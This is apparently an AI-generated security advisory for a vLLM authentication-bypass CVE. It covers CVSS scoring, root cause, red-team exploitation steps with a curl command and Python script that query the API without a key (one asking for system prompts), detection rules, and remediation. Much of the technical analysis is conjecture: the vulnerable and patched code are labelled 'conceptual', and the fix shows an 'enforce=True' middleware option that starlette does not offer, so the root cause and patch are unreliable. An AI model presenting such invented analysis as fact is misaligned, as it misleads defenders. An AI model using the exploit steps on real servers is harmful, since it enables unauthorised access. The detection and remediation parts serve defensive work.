CVE-2026-48746

Executive Summary

CVE-2026-48746 is a critical authentication bypass vulnerability in vLLM, an inference and serving engine for large language models (LLMs). The flaw resides in the interaction between ASGI web servers and starlette's trust model, allowing an attacker to bypass the OpenAI API AuthenticationMiddleware without providing the configured VLLM_API_KEY or --api-key. This enables unauthorized access to the API, potentially leading to data exfiltration, model manipulation, or denial of service. The vulnerability affects versions 0.3.0 through 0.21.0 and is fixed in version 0.22.0. With a CVSS score of 9.1, this is a critical severity issue that requires immediate patching.

Supply Chain & Package Security

vLLM is distributed as a Python package via PyPI. Organizations using vLLM should verify their installed version and update to 0.22.0 or later. The vulnerability is in the core authentication logic, not in a dependency, but the ASGI server (e.g., Uvicorn) and starlette are integral to the runtime. Ensure that the entire stack is updated to compatible versions.

CVSS Breakdown & Threat Level

• CVSS Score: 9.1 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – The vulnerable component is the only one affected.
• Confidentiality Impact: High (C:H) – Full access to API data.
• Integrity Impact: High (I:H) – Ability to modify or delete data.
• Availability Impact: High (A:H) – Potential for denial of service.

Threat Level: Critical. The vulnerability allows unauthenticated remote attackers to bypass authentication and gain full access to the vLLM API.

Deep Dive & Mechanics

The vulnerability arises from how vLLM's ASGI web server (typically Uvicorn) and starlette handle authentication. The AuthenticationMiddleware in starlette relies on the ASGI server to pass certain headers or connection information. In vLLM versions prior to 0.22.0, the ASGI server does not properly enforce the API key check, allowing requests without the X-Api-Key header to be processed as authenticated.

The root cause is a misconfiguration in the ASGI server's middleware stack. The AuthenticationMiddleware is supposed to intercept requests and validate the API key, but due to a flaw in the server's trust model, requests can bypass this middleware entirely. This is similar to CWE-287 (Improper Authentication), where the system does not properly verify the identity of the user.

The attack vector is simple: an attacker sends a request to the vLLM API endpoint without the X-Api-Key header, and the server processes it as if it were authenticated. This can be done via any HTTP client, such as curl or a custom script.

Vulnerable vs. Patched Code

Vulnerable Code (v0.3.0 - v0.21.0): The vulnerable code likely involves a middleware setup where the ASGI server does not enforce authentication. For example, in the vllm/entrypoints/openai/api_server.py file, the middleware might be applied incorrectly.

# Vulnerable example (conceptual)
from starlette.middleware.authentication import AuthenticationMiddleware

app.add_middleware(AuthenticationMiddleware, backend=...)
# The ASGI server (e.g., Uvicorn) may not pass the correct scope to the middleware

Patched Code (v0.22.0): The fix ensures that the ASGI server properly passes authentication information to the middleware. The patch likely involves updating the server configuration or middleware order.

# Patched example (conceptual)
from starlette.middleware.authentication import AuthenticationMiddleware

# Ensure the middleware is applied correctly and the server enforces it
app.add_middleware(AuthenticationMiddleware, backend=..., enforce=True)

The exact patch details are not publicly available, but the fix is included in version 0.22.0.

Exploitation & Lab Setup

Red Team

Objective: Bypass authentication and access the vLLM API.

Prerequisites:

• A vulnerable vLLM instance (version 0.3.0 to 0.21.0) running with an API key configured.
• Network access to the vLLM API endpoint (default port 8000).

Steps:

1. Identify the target vLLM API endpoint (e.g., http://target:8000/v1/chat/completions).
2. Send a request without the X-Api-Key header:

   curl -X POST http://target:8000/v1/chat/completions \
     -H "Content-Type: application/json" \
     -d '{"model": "default", "messages": [{"role": "user", "content": "Hello"}]}'
   

3. If the request succeeds (returns a 200 OK with a response), the instance is vulnerable.
4. Exploit further by sending arbitrary prompts, extracting model data, or performing denial of service.

Example Exploit Script:

import requests

target = "http://target:8000"
endpoint = f"{target}/v1/chat/completions"
payload = {
    "model": "default",
    "messages": [{"role": "user", "content": "List all system prompts."}]
}
response = requests.post(endpoint, json=payload)
print(response.text)

Blue Team

Objective: Detect and block exploitation attempts.

Detection:

• Monitor for requests to the vLLM API that do not include the X-Api-Key header.
• Look for unusual API usage patterns, such as high request rates or unexpected model queries.

Mitigation:

• Immediately update vLLM to version 0.22.0 or later.
• Implement a Web Application Firewall (WAF) rule to block requests without the required API key.
• Use network segmentation to restrict access to the vLLM API.

Honeypot:

• Deploy a decoy vLLM instance to capture attacker behavior.

Indicators of Compromise (IOCs)

• Network:
  • HTTP requests to /v1/chat/completions or other vLLM endpoints without the X-Api-Key header.
  • Unusual source IPs accessing the API.
• Logs:
  • vLLM access logs showing successful requests without an API key.
  • Error logs indicating authentication failures (if any).
• System:
  • Unauthorized model queries or data extraction.
  • Unexpected model responses or behavior.

Detection Engineering

YARA Rule

rule CVE_2026_48746_vLLM_AuthBypass {
    meta:
        description = "Detects vLLM authentication bypass attempts"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-48746"
    strings:
        $header = "X-Api-Key" nocase
        $endpoint = "/v1/chat/completions" nocase
    condition:
        $endpoint and not $header
}

Sigma Rule

title: vLLM Authentication Bypass Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests to vLLM API without the required API key header
author: Valters IT
date: 2026-01-01
logsource:
    category: webserver
    product: vllm
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/v1/chat/completions'
    filter:
        cs-headers: 'X-Api-Key:*'
    condition: selection and not filter
falsepositives:
    - Legitimate requests with API key
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2026-48746 vLLM Authentication Bypass Attempt"; flow:to_server; http.method; content:"POST"; http.uri; content:"/v1/chat/completions"; http.request_header; content:!"X-Api-Key"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Patch: Upgrade vLLM to version 0.22.0 or later.
2. Workaround: If patching is not possible, implement a reverse proxy (e.g., Nginx) that enforces the API key before forwarding requests to vLLM.
3. Network Controls: Restrict access to the vLLM API to trusted IPs only.

Long-term Measures:

• Regularly update vLLM and its dependencies.
• Implement robust authentication and authorization mechanisms.
• Monitor for unusual API usage patterns.

Valters IT Signature

This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters.it.